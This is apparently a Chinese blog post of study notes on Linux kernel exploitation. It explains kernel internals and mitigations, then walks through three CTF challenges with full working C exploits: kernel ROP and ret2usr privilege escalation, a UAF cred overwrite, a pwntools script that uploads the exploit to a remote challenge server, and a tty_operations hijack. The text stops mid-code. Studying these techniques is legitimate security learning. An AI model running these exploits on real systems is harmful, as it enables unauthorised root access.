Kernel Pwn记录

hash_hash

尝试入门一下kernel,虽然说原来用户态的利用思路和内核态会有相似之处,但是刚入门需要补充挺多有关的知识,再加上我操作系统完全没学过,做得我属实懵逼,先记录一下基础内容,基本都是抄的a3师傅博客里的

前置知识

OS

操作系统是抽象出的一个概念,实际上就是位于物理内存中的代码+数据,用于调度系统资源,控制IO设备,操作网络与文件系统。当CPU执行操作系统内核代码时通常运行在高权限环境,拥有完全的硬件访问能力,在执行用户态代码时通常运行在低权限环境,只拥有部分或缺失硬件访问能力。

分级保护域

简称Rings,是一种将计算机不同的资源划分至不同权限的模型。

Ring0只给OS使用,Ring3所有程序均可使用,且内层Ring可以随意使用外层Ring的资源

Intel的CPU将权限分为4个等级:Ring0~Ring3,权限等级依次降低.现代操作系统模型中通常使用Ring0和Ring3

这种分级的模型是为了提高系统安全性,例如某软件作为在Ring3运行的用户程序,在不通知用户的时候打开摄像头会被阻止,因为其位于低权限的区域,直接申请调用会被拒绝

运行状态切换

程序运行过程当中会常发生用户态与内核态的切换

当CPU收到外部中断时,会切换到Ring0,并根据中断描述符表索引相应的中断处理代码以执行

当CPU运行特权级相关指令(iret,sysenter等)会发生运行状态改变

usr → kernel

通过swapgs切换GS寄存器,保存GS值。将当前栈顶记录在CPU独占区域,将该区域记录内核栈顶放入rsp。通过push保存各寄存器值。通过汇编指令判断是否为x32_abi。通过系统调用号执行相应系统调用

kernel → usr

通过swapgs恢复GS值,通过sysretq/iretq恢复用户控件继续执行

内核

Kernel_Layout

kernel是一个操作系统最为核心的部分,提供着一个操作系统最为基础的功能,如

  1. 控制并与硬件进行交互
  2. 提供应用程序运行环境
  3. 调度系统资源

内核架构包括宏内核,微内核以及混合内核三种

宏内核几乎将一切集成于内核,并向上层应用程序提供抽象API

对于微内核,大部分系统服务都被剥离于内核之外,内核仅提供最为基本的功能如底层的寻址空间管理,线程管理,进程间通信等

LKM

即可加载内核模块,包括驱动程序和内核扩展模块,可以提供新的系统调用或其他服务,提高了内核的可拓展性和可维护性,linux下是ELF格式,可以被单独编译,不能单独运行。在运行时被链接到内核作为内核的一部分在内核空间运行

struct cred

内核通过维护cred结构体管理进程的权限,每个进程中都有一个cred结构,这个结构保存了该进程的权限等信息。

常用的提权方式cmmit_creds(prepare_kernel_cred(NULL))就是利用了这一点

下面是cred的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

内核内存管理

linux kernel主要有两内存管理器,buddy system;slab allocator

  • buddy system

buddy system是linux kernel中一个较为底层的内存管理系统,以内存页为粒度管理所有物理内存。存在于区这一级别,对当前区所拥有的所有物理页框进行管理

在buddy system中按照空闲页面的连续大小进行分阶管理,在每一个zone结构体中都有一个free_area结构体数组存储buddy system按照order管理的页面,如下图所示

  • slab allocator

slab allocator是更加细粒度的内存管理器,通过向buddy system请求单张或多张连续内存页后再分割为同等大小的object返还给上层调用者实现更为细粒度的内存管理

slab allocator共三个版本,其中slub是现在通用版本

将slab allocator向buddy system请求得来的内存页称为一个slub,其被分割为多个同等大小object。slub的第一张内存页对应page结构体上的freelist指向该内存页上的第一个空闲对象,一个slub上的所有空闲object组成以NULL结尾的单向链表。object有点类似于用户态的chunk

分配过程:

  1. kmem_cache_cpu上的slub取对象,有则直接返回
  2. 若无空闲对象,对应slub加入到kmem_cache_node的full链表,并考虑从partial链表取slub挂载到kmem_cache_cpu上,再取空闲对象
  3. 若partial链也为空,则向buddy system请求分配新内存页,划分为多个object再挂载到kmem_cache_cpu,取空闲对象返回

释放过程:

  1. 若被释放object属于kmem_cache_cpu的slub,直接头插法插入当前slub的freelist
  2. 若属于partial链上的slub,添加到该slub的freelist
  3. 若属于full链上的slub,设置为freelist的头节点,该slub从full链表迁移至partial链表

保护机制

KASLR

即内核空间地址随机化,和用户态程序的ASLR类似

FGKASLR

KASLR的改进,以函数粒度重新排布内核代码

STACK PROTECTOR

类似canary,用于检测是否发生内核堆栈溢出,也叫stack cookie

SMAP/SMEP

SMAP为管理模式访问保护,SMEP为管理模式执行保护,两模式开启以阻止内核空间直接访问或执行用户空间的数据,可防范ret2usr攻击

KPTI

内核页表隔离,内核空间与用户空间分别使用两组不同的页表集,对于开启了KPTI的内核而言,内核页表的用户地址空间无执行权限

kptr_restrict

允许查看内核函数地址

dmesg_restrict

允许查看printk函数输出,用dmesg命令来查看

MMAP_MIN_ADDR

不允许申请NULL地址 mmap(0,....)

  • KASLR;SMAP;SMEP可以修改启动脚本来关闭

  • kptr_restrictdmesg_restrict可在rcS文件中修改

Kernel Rop

和用户态类似同样是通过栈溢出漏洞劫持程序流,先提权再着陆回用户态执行system("/bin/sh")来getshell

[2018QWB]core

一般kernel pwn的题目会给四个文件,bzimage, xxx.cpio, boot.sh, vmlinux

其中bzimage是压缩后的内核,xxx.cpio是压缩的文件系统,boot.sh是启动脚本,vmlinux是静态编译的内核

我们用ropper在vmlinux中寻找gadget

1
ropper --file ./vmlinux --nocolor > g1

没给vmlinux的话可以用脚本自己提取

1
./extract-vmlinux ./bzImage > vmlinux

查看启动文件

-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"说明开启了kaslr,为了方便调试改成nokaslr

下面是解压.cpio文件的命令

1
2
3
4
5
mkdir xx
cd xx
mv ../xx.cpio xx.cpio.gz
gunzip ./xx.cpio.gz
cpio -idm < ./xx.cpio

查看init文件,为一些初始化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

insmod /core.ko表示加载core.ko这个内核模块

同时文件里还有gen_cpio.sh,是一个方便打包的脚本

1
2
3
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

运行就可以了,会生成新的压缩文件系统

gdb调试

add-symbol-file ./core/core.ko 0xffffffffc0000000加载符号表方便调试,地址是通过修改init用root权限读取.text

1
cat /sys/module/core/sections/.text 

target remote localhost:1234连接到本地端口

照着wp打了一遍,kernel的调试比较麻烦,用n的话很容易跑飞只能一步步si

下面抄一些经常用到的代码

保存寄存器值,以及起一个root shell的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getRootShell()
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

查找prepare_kernel_cred,commit_creds地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
...
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd<0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

FILE* sym_table_fd = open("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

有两种打法,一种就是纯kernel rop因为kallsym被拷贝到了tmp里,所以我们可以得到prepare_kernel_credcommit_creds的地址,另一种由于没开SMAP/SMEP可以打ret2usr

编译指令gcc exp.c -masm=intel -static -o exp

exp (kernel rop)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define POP_RDX_RET 0xffffffff810a0f49
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getRootShell()
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char* buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd<0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}
puts("\033[34m\033[1m[*] debug1\033[0m");

FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
puts("\033[34m\033[1m[*] debug2\033[0m");

char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
puts("\033[34m\033[1m[*] debug3\033[0m");

size_t offset = commit_creds - 0xffffffff8109c8e0;

size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

size_t rop_chain[0x100];
int i = 0;
for(; i<10; i++)
{
rop_chain[i] = canary;
}
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + offset;
rop_chain[i++] = POP_RDX_RET + offset;
//rop_chain[i++] = commit_creds;
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0100);
}

rop的构造比较有意思,由于需要把prepare_kernel_cred的返回结果作为commit_creds的参数,所以需要找gadget把rax赋给rdi,MOV_RDI_RAX_CALL_RDX这个gadget可以满足,但是我们需要控制好rdx的值,并且由于call指令会先push rip+x,所以要接着执行rop需要pop清理掉栈中的返回地址

exp (ret2usr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define POP_RDX_RET 0xffffffff810a0f49
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getRootShell()
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void EoP()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

void coreRead(int fd, char* buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd<0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}
puts("\033[34m\033[1m[*] debug1\033[0m");

FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
puts("\033[34m\033[1m[*] debug2\033[0m");

char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
puts("\033[34m\033[1m[*] debug3\033[0m");

size_t offset = commit_creds - 0xffffffff8109c8e0;

size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

size_t rop_chain[0x100];
int i = 0;
for(; i<10; i++)
{
rop_chain[i] = canary;
}
rop_chain[i++] = (size_t)EoP;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0100);
}

实际上区别不大,也只是简化了rop构造的难度

[2022CATCTF]kernel-test

kernel pwn入门难度,和core差不多,没开SMAP/SMEP

给了个有洞的内核模块test,先read读出canary再通过write写payload,最后qmemcpy造成溢出打ret2usr

只是ida反编译出的伪代码有些奇怪,函数缺了参数,canary也不给标,一开始把canary找错了,还得是看汇编

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>

#define SWAPGS_POPRBP_RET 0xffffffff8107a4d4
#define IRETQ 0xffffffff8103b82b

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getRootShell()
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void EoP()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/dev/test", 2);
if(fd<0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /dev/test !\033[0m\n");
exit(-1);
}

FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff810ccc30;

size_t canary ;
read(fd, buf, 0x40);
canary = ((size_t *)buf)[0];

size_t rop_chain[20];
int i = 0;
for(; i<4; i++)
{
rop_chain[i] = canary;
}
rop_chain[i++] = (size_t)EoP;
rop_chain[i++] = SWAPGS_POPRBP_RET+offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ+offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd,rop_chain, 0x300);
ioctl(fd, 0);
}

传文件的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import time, os
context.log_level = "debug"

p = remote("61.147.171.105",53035)

os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > /tmp/b64_exp;")

count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> /tmp/b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("/ $")
count += 1
f.close()

p.sendline("base64 -d /tmp/b64_exp > /tmp/exp.tar.gz;")
p.sendline("cd tmp")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x exp;")
p.sendline("./exp")
p.interactive()

为了减少传输文件的大小,可以考虑用musl-gcc进行编译

Kernel UAF

效果还是造成两指针指向同一内存,用户态的堆题一般就是考虑劫持hook和一些io指针,到了内核大方向还是一致的,通过劫持一些指针控制程序流

在老版本的kernel可以通过UAF漏洞劫持新进程的cred结构体,通过修改uid,gid提权到root

更通用的方式是劫持tty_operations,有点像用户态上劫持io指针的感觉

[2017CISCN]babydriver

给的内核版本比较老了,简单打法先构造出UAF,释放掉object,fork出新的进程,那么内核中该空闲的object会被分配给新进程作为cred结构体,UAF漏洞修改uid,gid提权

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>


int main()
{
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1, 65537, 0xa8);
close(fd1);

int pid = fork();
if(pid == 0)
{
char* buf[28] = {0};
write(fd2, buf, 28);
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
exit(0);
}
else
{
wait(NULL);
}

return 0;
}

这里主要分析劫持tty_operations这一方法

当我们打开/dev/ptmx时会在内核分配一个tty_struct结构体,关闭时该结构体会被释放回slub

tty_struct定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
char name[64];
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */

struct {
spinlock_t lock;
bool stopped;
bool tco_stopped;
unsigned long unused[0];
} __aligned(sizeof(unsigned long)) flow;

struct {
spinlock_t lock;
struct pid *pgrp;
struct pid *session;
unsigned char pktstatus;
bool packet;
unsigned long unused[0];
} __aligned(sizeof(unsigned long)) ctrl;

int hw_stopped;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

/* Each of a tty's open files has private_data pointing to tty_file_private */
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};

/* tty magic number */
#define TTY_MAGIC 0x5401

注意到结构体中的一个函数表tty_operations,这是一个内核地址,可以泄露绕kaslr,同时在做read write等操作时都会通过索引tty_ops里的指针实现功能

tty_ops定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

经调试发现当调用ptmx的write时rax是tty_ops的值,如果我们劫持write指针为mov rsp, rax这种类型的gadget就可以实现栈迁移,但是迁移到tty_ops上写rop的长度不够,所以这里可以利用pop rax后接用户态上构造的rop链地址再来一次mov rsp, rax,因为这里开启了smep但是没开smap,所以把栈迁移到用户态没有问题

这里得用ropgadget找,一开始用ropper没找到,并且找到的形式长这样mov rsp, rax; dec rbp; jmp xxx,后面跳转的地址也找不着,索性直接调试

调试的话断点打在gadget上

si步入,避免跑飞

从调试结果上看最后跳转到了ret上那就没什么问题了,所以我们把tty_ops的前面稍微布置一下实现再一次栈迁移即可

有些wp上用到了堆喷,问了下nightu师傅,堆喷射是为了提高命中率,因为不止一个程序与内核沟通,所以为了防止造成UAF的堆块被其他的进程抢走,可以多次开大量相同堆块,来做到劫持tty_struct

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RDX_RET 0xffffffff8144d302
